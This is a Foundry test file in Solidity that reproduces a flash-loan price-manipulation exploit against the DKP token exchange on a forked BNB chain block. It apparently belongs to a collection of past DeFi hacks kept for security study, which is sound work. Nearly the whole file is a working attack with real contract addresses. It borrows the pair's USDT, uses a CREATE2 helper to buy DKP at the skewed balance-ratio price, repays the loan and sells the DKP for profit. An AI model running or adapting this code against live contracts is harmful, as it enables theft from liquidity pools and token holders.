src/test/2023-03/DKP_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/CertiKAlert/status/1633421908996763648
9// @TX
10// https://bscscan.com/tx/0x0c850f54c1b497c077109b3d2ef13c042bb70f7f697201bcf2a4d0cb95e74271
11// https://bscscan.com/tx/0x2d31e45dce58572a99c51357164dc5283ff0c02d609250df1e6f4248bd62ee01
12// @Summary
13// There is an exchange method in the 0x89257 closed source contract for users to swap USDT for DKP tokens,
14// but the price Oracle used is the ratio of the balance of the two tokens in the USDT-DKP pair,
15// and the attacker manipulates this price through flashLoan, swapping a very small amount of USDT for a large amount of DKP and selling it for a profit
16 
17interface IDKPExchange {
18    function exchange(
19        uint256 amount
20    ) external;
21}
22 
23contract ContractTest is Test {
24    IERC20 DKP = IERC20(0xd06fa1BA7c80F8e113c2dc669A23A9524775cF19);
25    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
26    Uni_Pair_V2 Pair = Uni_Pair_V2(0xBE654FA75bAD4Fd82D3611391fDa6628bB000CC7);
27    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
28    IDKPExchange DKPExchange = IDKPExchange(0x89257A52Ad585Aacb1137fCc8abbD03a963B9683);
29 
30    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 
32    function setUp() public {
33        cheats.createSelectFork("bsc", 26_284_131);
34        cheats.label(address(DKP), "DKP");
35        cheats.label(address(USDT), "USDT");
36        cheats.label(address(Pair), "Pair");
37        cheats.label(address(Router), "Router");
38        cheats.label(address(DKPExchange), "DKPExchange");
39    }
40 
41    function testExploit() public {
42        deal(address(USDT), address(this), 800 * 1e18);
43        exchangeDKP();
44        DKPToUSDT();
45 
46        emit log_named_decimal_uint(
47            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)) - 800 * 1e18, USDT.decimals()
48        );
49    }
50 
51    function exchangeDKP() internal {
52        uint256 flashAmount = USDT.balanceOf(address(Pair)) * 9992 / 10_000;
53        Pair.swap(flashAmount, 0, address(this), abi.encode(flashAmount));
54    }
55 
56    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
57        bytes memory contractByteCode = type(ExchangeDKP).creationCode;
58        uint256 salt = uint256(keccak256("salt"));
59        address receiver = getAddress(contractByteCode, salt);
60        USDT.transfer(receiver, 100 * 1e18);
61        new ExchangeDKP{salt: keccak256("salt")}();
62        uint256 returnAmount = abi.decode(data, (uint256)) * 10_000 / 9975 + 1000;
63        USDT.transfer(address(Pair), returnAmount);
64    }
65 
66    function DKPToUSDT() internal {
67        DKP.approve(address(Router), type(uint256).max);
68        address[] memory path = new address[](2);
69        path[0] = address(DKP);
70        path[1] = address(USDT);
71        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
72            DKP.balanceOf(address(this)), 0, path, address(this), block.timestamp
73        );
74    }
75 
76    function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {
77        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
78        return address(uint160(uint256(hash)));
79    }
80}
81 
82contract ExchangeDKP {
83    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
84    IERC20 DKP = IERC20(0xd06fa1BA7c80F8e113c2dc669A23A9524775cF19);
85    IDKPExchange DKPExchange = IDKPExchange(0x89257A52Ad585Aacb1137fCc8abbD03a963B9683);
86 
87    constructor() {
88        USDT.approve(address(DKPExchange), type(uint256).max);
89        DKPExchange.exchange(100 * 1e18);
90        DKP.transfer(msg.sender, DKP.balanceOf(address(this)));
91    }
92}